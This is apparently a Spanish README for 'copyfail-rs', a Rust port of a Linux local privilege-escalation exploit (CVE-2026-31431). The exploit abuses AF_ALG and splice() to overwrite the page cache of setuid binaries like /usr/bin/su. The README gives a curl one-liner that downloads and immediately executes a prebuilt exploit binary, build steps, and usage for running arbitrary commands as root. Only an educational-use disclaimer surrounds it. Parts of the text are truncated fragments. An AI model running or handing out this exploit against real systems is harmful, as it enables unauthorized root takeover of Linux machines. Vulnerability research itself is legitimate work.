
Copiar exploit de Fail (CVE-2026-31431) pero en Rust.
Exploit Copy Fail (CVE-2026-31431) pero en Rust, una vulnerabilidad crítica que encadena AF_ALG y splice() para lograr una escritura de 4 bytes en la caché de páginas, lo que conduce a una escalada de privilegios local en las principales distribuciones de Linux.
Basado en la investigación y el PoC de Xint Code.
[!CAUTION] Este proyecto es solo con fines educativos y de investigación. Ejecutar este exploit en sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal y poco ético. Usa este código de manera responsable para comprender y defenderte contra vulnerabilidades similares.
AF_ALG y splice() del kernel de Linux a través de libc.Puedes descargar y ejecutar el binario PoC precompilado directamente:
curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs
/usr/bin/su).Clona el repositorio y compila el binario:
git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release
Ejecuta el exploit sin argumentos para usar /bin/sh por defecto:
./target/release/copyfail-rs
O especifica un comando personalizado para ejecutar como root:
./target/release/copyfail-rs "whoami > /tmp/pwned"
El exploit aprovecha un error en la implementación de authencesn dentro de la API Crypto del kernel de Linux (AF_ALG). Al encadenar sendmsg con MSG_MORE y splice(), es posible sobrescribir pequeños fragmentos de la caché de páginas de archivos arbitrarios (como /usr/bin/su) con una carga útil ELF maliciosa.
AF_ALG y lo vincula a authencesn(hmac(sha256),cbc(aes)).AF_ALG.